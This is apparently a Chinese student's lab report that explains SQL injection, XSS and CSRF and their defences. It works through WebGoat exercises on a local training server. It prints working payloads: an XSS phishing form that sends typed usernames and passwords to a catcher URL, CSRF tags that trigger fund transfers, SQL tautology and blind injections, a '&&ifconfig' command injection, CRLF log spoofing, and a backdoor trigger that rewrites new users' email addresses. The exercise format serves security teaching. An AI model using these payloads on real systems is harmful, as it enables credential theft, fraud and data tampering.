20155307《網絡對抗》Web安全基礎實踐
基礎問題回答
- SQL注入攻擊原理,如何防禦?
-
原理:SQL注入攻擊指的是通過建構特殊的輸入作為參數傳入Web應用程式,而這些輸入大都是SQL文法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,使非法資料侵入系統。
防禦:
1.對使用者的輸入進行校驗,可以通過正規表達式,雙"-"進行轉換等。
2.不要使用動态拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行資料查詢存取。
3.不要使用管理者權限的資料庫連接配接,為每個應用使用單獨的權限有限的資料庫連接配接。
4.不要把機密資訊直接存放,加密或者hash掉密碼和敏感的資訊。
5.應用的異常資訊應該給出盡可能少的提示。
6.采取輔助軟體或網站平台來檢測sql注入。
- XSS攻擊的原理,如何防禦?
- 原理:XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web使用者将代碼(如,HTML代碼和用戶端腳本)植入到提供給其它使用者使用的頁面中,攻擊者可以利用XSS漏洞旁路掉通路控制。
-
1.特征比對方式,在所有送出的資訊中都進行比對檢查,一般會對“javascript”這個關鍵字進行檢索,一旦發現送出資訊中包含“javascript”,就認定為XSS攻擊。
2.對所有使用者送出内容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST資料等,僅接受指定長度範圍内、采用适當格式、采用所預期的字元的内容送出,對其他的一律過濾。
3.實作Session标記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
CSRF攻擊原理,如何防禦?
- 原理:CSRF跨站請求僞造,也被稱為“oneclickattack”或者sessionriding,通常縮寫為CSRF或者XSRF,是一種對網站的惡意利用,通過僞裝來自受信任使用者的請求來利用受信任的網站。是一種依賴web浏覽器的、被混淆過的代理人攻擊。
-
1.在form中包含秘密資訊、使用者指定的代号作為cookie之外的驗證。
2.“雙送出”cookie。某個授權的cookie在form post之前正被JavaScript代碼讀取,那麼限制跨域規則将被應用。伺服器需要在Post請求體或者URL中包含授權cookie的請求,那麼這個請求必須來自于受信任的域。
3.使用者在浏覽其它站點前登出站點或者在浏覽器會話結束後清理浏覽器的cookie。
實驗過程
WebGoat
- 在終端中輸入java -jar webgoat-container-7.0.1-war-exec.jar開啟WebGoat。
20155307《網絡對抗》Web安全基礎實踐 - 當頁面成功停在下圖位置時,最小化終端視窗:
20155307《網絡對抗》Web安全基礎實踐 - 打開浏覽器,在位址欄輸入localhost:8080/WebGoat打開WebGoat,選擇預設賬号、密碼即可登陸成功。
20155307《網絡對抗》Web安全基礎實踐
XSS攻擊
1、Phishing with XSS 跨站腳本釣魚攻擊
跨站腳本攻擊最大的魅力是通過HTML注入劫持使用者的浏覽器,任意構造使用者目前浏覽的HTML内容,甚至可以模拟使用者目前的操作。這裡實驗的是一種擷取使用者名和密碼的攻擊
先編寫一個包含使用者名、密碼的前端代碼:
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>```
- 然後在webgoat找到xss攻擊打開Phishing with XSS(第一個)

- 将這段代碼輸入到輸入框中,點選search出現如下登入框:

- 在登入框中輸入使用者名、密碼,之後點選登入後跳出彈框,其中包含使用者輸入的使用者名、密碼。攻擊成功!

##2、Stored XSS Attacks 存儲型XSS攻擊
- 存儲型XSS的攻擊基本流程:
a. 比如在某個論壇提供留言闆功能,黑客在留言闆内插入惡意的html或者Javascript代碼,并且送出。
b. 網站背景程式将留言内容存儲在資料中
c. 然後一個使用者也通路這個論壇,并重新整理了留言闆,這時網站背景從資料庫中讀取了之前黑客的留言内容,并且直接插入在html頁面中,這就可能導緻了:黑客留言的腳本本身應該作為内容顯示在留言闆的,然後此時可能黑客的留言腳本被浏覽器解釋執行了。
- 那麼黑客的腳本可以用來做哪些壞事兒呢?比如:
通過javascript擷取使用者的cookie,根據這個cookie竊取使用者資訊
重定向網站到一個釣魚網站
重新更改頁面内容,假裝讓客戶輸入使用者名,密碼,然後送出到黑客的伺服器
- 打開Stored XSS Attacks(xxs攻擊第二個)

- 在Message框中輸入<script>alert("I am 20155305qiaolei");</script>

- 點選送出後彈出對話框,顯示I am 20155307liuhao。攻擊成功!

##3、Reflected XSS Attacks 反射型XSS攻擊
- 我們在通路一個網頁的時候,在URL後面加上參數,伺服器根據請求的參數值構造不同的HTML傳回。
value可能出現在傳回的HTML(可能是JS,HTML某元素的内容或者屬性)中,
如果将value改成可以在浏覽器中被解釋執行的東西,就形成了反射型XSS.
有人會問,我怎麼可能自己去把value改成可以執行的惡意代碼呢?這不是自己坑自己嗎.
但是一種情況是别人可能修改這個value值,然後将這個惡意的URL發送給你,或者别人,當URL位址被打開時,
特有的惡意代碼參數被HTML解析,執行.它的特點是非持久化,必須使用者點選帶有特定參數的連結才能引起
- 打開xss的第三個攻擊,在code框中輸入<script>alert("I am 20155305qiaolei");</script>

- 點選Purchase出現對話框,顯示I am 20155307liuhao。攻擊成功!

CSRF攻擊
跨站請求僞造,盡管聽起來像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點内的信任使用者,而CSRF則通過僞裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(是以對其進行防範的資源也相當稀少)和難以防範,是以被認為比XSS更具危險性。
- 1、Cross Site Request Forgery(CSRF)
檢視頁面右邊Parameters中的src和menu值。
在title框中輸入學号,message框中輸入代碼:<img src='attack?Screen=src值&menu=menu值&transferFunds=轉賬數額' width='1' height='1'>

送出後生成一個連結20155307,點選學号名即可檢視使用者操作的資訊,攻擊成功

- 2、CSRF Prompt By-Pass
檢視頁面右邊Parameters中的src和menu值,并在title框中輸入學号,message框中輸入代碼:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=轉賬數額"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
- 送出後生成一個連結20155307:

- 點選學号名即可檢視使用者操作的資訊,攻擊成功

##SQL注入攻擊
- SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。随着B/S模式應用開發的發展,使用這種模式編寫應用程式的程式員也越來越多。但是由于程式員的水準及經驗也參差不齊,相當大一部分程式員在編寫代碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隐患。使用者可以送出一段資料庫查詢代碼,根據程式傳回的結果,獲得某些他想得知的資料,這就是所謂的SQL Injection,即SQL注入。
- 1、Numeric SQL Injection
我們看到這一題的選擇框也是一個下拉框,在目前網頁上無法修改,于是,我們使用BurpSuite抓包修改。

在Kali桌面上找到如下圖示,打開BurpSuite,在BurpSuite中依次選擇Proxy->Options->Add添加一個端口,将綁定的端口設為5307,點選确認後會在Options下增加一行,勾選新形成的這一行:


點選浏覽器右上方的更多頁籤,選擇preference,在頁面左側選擇advanced,選擇network頁标簽,在connection那一行選擇settings…在彈出的視窗中設定代理伺服器和端口(要與BurpSuite中綁定的一緻)

設定好代理後回到題目頁面,點選Go,然後進入BurpSuite中依次選擇Proxy->Intercept,可以看到已經抓到了包:

右鍵選擇send to repeater進入repeater頁标簽,選擇Params将其中station的值改為101 or 1=1,點選Go運作,檢視右側代碼可以看到包中的SQL語句為
SELECT * FROM weather_data WHERE station = 101 or 1=1
回到Proxy中點選Intercept is on對剩下的包不作處理,回到火狐發現已經成功。

- 2、Command Injection
我們看到這一題的選擇框是一個下拉框,在目前網頁上無法修改,于是,我們使用BurpSuite抓包修改

在題目頁面點選view,然後進入BurpSuite中,在repeater頁标簽的Params選項中先運作一次,檢視資料都送出的位置:

然後修改HelpFile的值為AccessControlMatrix.help"&&ifconfig",其中的雙引号是為了封閉原語句中的雙引号,&&在指令行中是執行另外一條語句的意思,點選GO發現執行了ifconfig語句回到題目發現顯示破解成功。

- 3、Log Spoofing
在User Name文本框中輸入%0d%0aLogin succeeded !admin達到欺騙登入效果,破解成功:

- 4、LAB:SQL Injection(Stage 1:String SQL Injection)
使用工具firebug,可以顯示目前網頁的源碼并直接在其中修改。使用使用者Neville進行登入,在密碼欄中輸入' or 1=1 --進行SQL注入,最多允許輸入8個字元。對長度maxlength值進行擴大,然後在密碼欄中再次輸入' or 1=1 --,點選登入就成功了。

- 5、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
用上一題的方法成功登入

檢視網頁源碼,選擇檢視viewprofile部分的代碼,這時候可以看到一行用員工id作為索引來傳送資料的代碼,輕按兩下這行代碼就可以出現value的值,因為我們想要用Larry的賬戶浏覽老闆資訊,而大多數企業公司裡老闆的工資應該是最高的,是以我們就把其中的value值由101改為101 or 1=1 order by salary desc --,這樣老闆的資訊就會被排到第一個讓我們看到可以看到老闆應該就是Neville了。

- 6、String SQL Injection
在輸入框中輸入Smith進行嘗試,觀察下方形成的輸入語句,可以看到輸入的Smith在兩個單引号之間:

構造永真式'or 1='1,第一個分号用來閉合原輸入語句的前一個分号,而第二個分号用來閉合原輸入語句的後一個分号,使這條語句被強行拆分成為兩條語句。
這樣一來,攻擊就成功了,可以顯示所有使用者的資訊了。

- 7、Database Backdoors

先輸入示例101進行嘗試,得到了該使用者的資訊。

觀察發現輸入的語句不進行驗證,于是我們輸入語句:101; update employee set salary=666666成功将該使用者的工資變成666666,攻擊成功:

下一步,輸入語句
101 or 1=1;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]' WHERE userid = NEW.userid
就可以了,表中一旦添加新使用者那麼就在使用者表裡将新使用者的郵箱改為我設定的郵箱。

- 8、Blind Numeric SQL Injection
嘗試題目中給出的例子,在輸入框輸入101,運作後發現傳回Account number is valid,說明這個數是合法的。

構造輸入語句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 數值 );,根據傳回的語句是否合法判斷pin值的範圍。

這裡使用二分法,确實有些費時費力,需要從2000,3000,2500,2250,2375,2313,2344,2360,2368,2364......一直很有耐心的試下去,但是其實也不算慢呀感覺,最後确定值是2364,輸入2364後破解成功:

##實驗總結與體會
這次實驗呢是web安全基礎,看到tomcat我就想以前搭建過一次,這次就不再去把時間花在搭建環境上了,于是就直接用老師給的虛拟機環境做,通過在Webgoat上的實踐,我學會了SQL注入攻擊、XSS攻擊(跨站腳本攻擊,通俗點現如今大多數其實都是釣魚網站來獲得使用者的賬戶密碼做一些違法亂紀的事情,本實驗裡大多是就是為了獲得使用者名和密碼)和CSRF攻擊(攻擊通過在授權使用者通路的頁面中包含連結或者腳本的方式)的一些小套路,也初步掌握了設定代理伺服器、使用BurpSuite捕獲包進行源碼修改的方法,後來,因為可以借鑒到學長學姐的經曆,也學會了用Firebug(就是那個小昆蟲圖示)直接修改網頁源碼,感覺這個比用BurpSuite修改更快捷友善一些,當然,這兩個工具的側重點不同,還是需要都掌握一下的。